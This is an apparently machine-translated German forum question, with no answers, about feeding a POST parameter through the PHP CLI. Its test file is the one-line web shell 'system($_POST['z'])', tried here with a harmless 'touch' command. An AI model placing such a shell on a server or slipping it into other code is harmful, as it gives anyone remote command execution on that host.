Analysieren Sie den POST-Parameter mithilfe der CLI in die PHP-Datei

414
Nitescu Lucian

Der Inhalt meiner Datei:

$ cat z-cmd.php  <?php system($_POST['z']); ?> 

Was ich probiert habe:

$ QUERY_STRING='z=touch plm' php-cgi z-cmd.php  X-Powered-By: PHP/5.6.36 Content-type: text/html; charset=UTF-8  <br /> <b>Warning</b>: system(): Cannot execute a blank command in <b>/home/jeremy/z-cmd.php</b> on line <b>3</b><br /> 

Wie kann ich Befehle mit dem Parameter z POST ausführen?

0

0 Antworten auf die Frage